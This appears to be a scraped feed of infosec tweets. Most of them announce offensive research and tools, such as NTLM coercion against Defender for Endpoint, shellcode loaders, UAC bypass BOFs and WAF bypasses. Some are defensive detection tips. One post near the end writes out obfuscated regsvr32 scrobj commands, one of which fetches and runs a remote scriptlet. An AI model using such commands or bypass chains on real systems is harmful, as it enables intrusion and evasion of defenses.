Zoro

[BriPwn @BriPwn]

Your EDR just coerced itself. 🫠
Drop a crafted LNK → MsSense.exe makes a CreateFile call → machine account hands over its Net-NTLMv2 hash over WebDAV → relay to LDAP → Shadow Credentials or RBCD.

No user interaction. No exotic exploit. Just vibes and a shortcut file.

If you're running Microsoft Defender for Endpoint, this one is literally about you. 👀
Full attack + detection breakdown 👇 https://t.co/wUsR1cHuZP

#purpleteam #MDE #NTLMcoercion #detectionengineering

[Rtl Dallas @RtlDallas]

Huginn Project:
Project to generate COFF-format shellcode with API for :
- Indirect syscall API
- Stack Spoofing
- Proxied LoadLibraryA calls

Great for UDRLs, stage0 and OPSEC-conscious shellcode.
https://t.co/tIiSlawD8K

[Phith0n @phithon_xg]

try this WAF bypass trick for rsc&&next.js CVE-2025-55182
All fields can use utf16le charset
#React2Shell

[Rasta Mouse @_RastaMouse]

Pushed a big update to Crystal Kit.
https://t.co/RYlbXGn1bQ

[NCV @nickvourd]

Hello folks, inspired by @lefterispan , I’m releasing a BOF implementation of COM-Hunter for @_CobaltStrike. The BOF version includes the exact same features as the .NET implementation, and I recently added a remove-mode feature to both versions. I hope this BOF proves useful in your operations.
Project Link: https://t.co/NlcefTeOKn
#redtea #cobaltstrike #bof #beacon #persistence

[🕳 @sekurlsa_pw]

Google research created a dataset with rainbow tables for NetNTLMv1 with the 1122334455667788 challenge.
https://t.co/fLBxwTIY2H
Dataset is available for download at:
▪️https://t.co/mCt6R7y5Pk [Login required]
▪️gs://net-ntlmv1-tables

[Dirk-jan @_dirkjan]

Since several people already asked: the slides from @fabian_bader and myself for @WEareTROOPERS are available! "Finding Entra ID CA bypasses-the structured way". We talked about FOCI, BroCI, CA bypasses, scopes and getting tons of tokens. Check it at https://t.co/3oA2grfbO4

[Wietze @Wietze]

#HuntingTipOfTheDay: a personal favourite, command-line obfuscation. Substituting/inserting special Unicode characters might allow attackers to bypass string-based detections. Look for command lines with unusual Unicode characters. Checkout https://t.co/lVBYPiftK8 for more!

[@Cravaterouge.infosec.exchange @rouge_cravate]

Exploiting BadSuccessor from A to Z with NT hash of impersonated accounts using bloodyAD v2.1.16
https://t.co/py2OIWqpYc

[karminski-牙医 @karminski3]

看到一个如何训练领域特定模型的文章写得非常好，作者使用 GRPO 微调了 qwen2.5-coder-7B, 实现了一个生成日程表的大模型。并且不光有教程，还有代码，模型。感兴趣的同学可以参考这个学习

教程地址：https://t.co/k9wkARbZFR
代码地址：https://t.co/bhRfG64Si6
模��地址：https://t.co/nfPBAbwJBS

[Aurélien Chalot @Defte_]

You have got a valid NTLM relay but SMB and LDAP are signed, LDAPS has got Channel Binding and ESC8 is not available... What about WinRMS ? :D

Blogpost: https://t.co/p2uwj2yKTQ
Tool: https://t.co/zMPpwtyFir

And also, big thanks to jmk (Joe Mondloch) for the collab' :D!

[Zoro @Evi1cg]

https://t.co/uRkELTGLky

[LetsDefend @LetsDefendIO]

Top Network Security Cheatsheet

[Grzegorz Tworek @0gtweet]

https://t.co/fveHAgEPYS

[Calif @calif_io]

Microsoft Exchange 2010 Arbitrary User Impersonation

https://t.co/sdzo0O1ECI

[sǝʌǝN sɐp pᴉʌɐD @david_das_neves]

Microsoft has a huge list of portals and it is not always easy to keep track of all the naming changes, Therefore, this resource comes in very handy!

[LandingPage] MSPortals
https://t.co/CHptT44ph7

#Microsoft #LandingPage

[icyguider @icyguider]

I recently implemented 7 public UAC bypasses as BOFs and integrated them into a Havoc module and Sliver extensions. Requests to add more bypass methods are also welcome! https://t.co/Szg0ygwEg8

[Thomas Roccia 🤘 @fr0gger_]

#100DaysOfYara Day 9: There are so many public rules out there, it's easy to lose track 🤯

I got you covered! In YaraToolkit v0.2, I added a search engine for some rules repositories. Just enter a keyword to find a specific rule 🔍

For now, it supports three public repos, but I'm open to adding more based on your suggestions! 🫶

👉 Check it out: https://t.co/d0UWC2XZN0
#Yara #infosec #malware

#infosec #yara #malware

[Zoro @Evi1cg]

regsvr32 c:\WINDOWS\system32\hhctrl.ocx /s c:\WINDOWS\system32\hhctrl.ocx /n c:\WINDOWS\system32\hhctrl.ocx /u c:\WINDOWS\system32\hhctrl.ocx /i:1.jpg scrobj
regsvr32 c:\WINDOWS\system32\hhctrl.ocx /s /n /u c:\WINDOWS\system32\hhctrl.ocx /i:https://t.co/Jm24RZY0A3 scrobj
😉

[Zoro @Evi1cg]

@vxunderground @mrgretzky PICK ME🙋‍♂️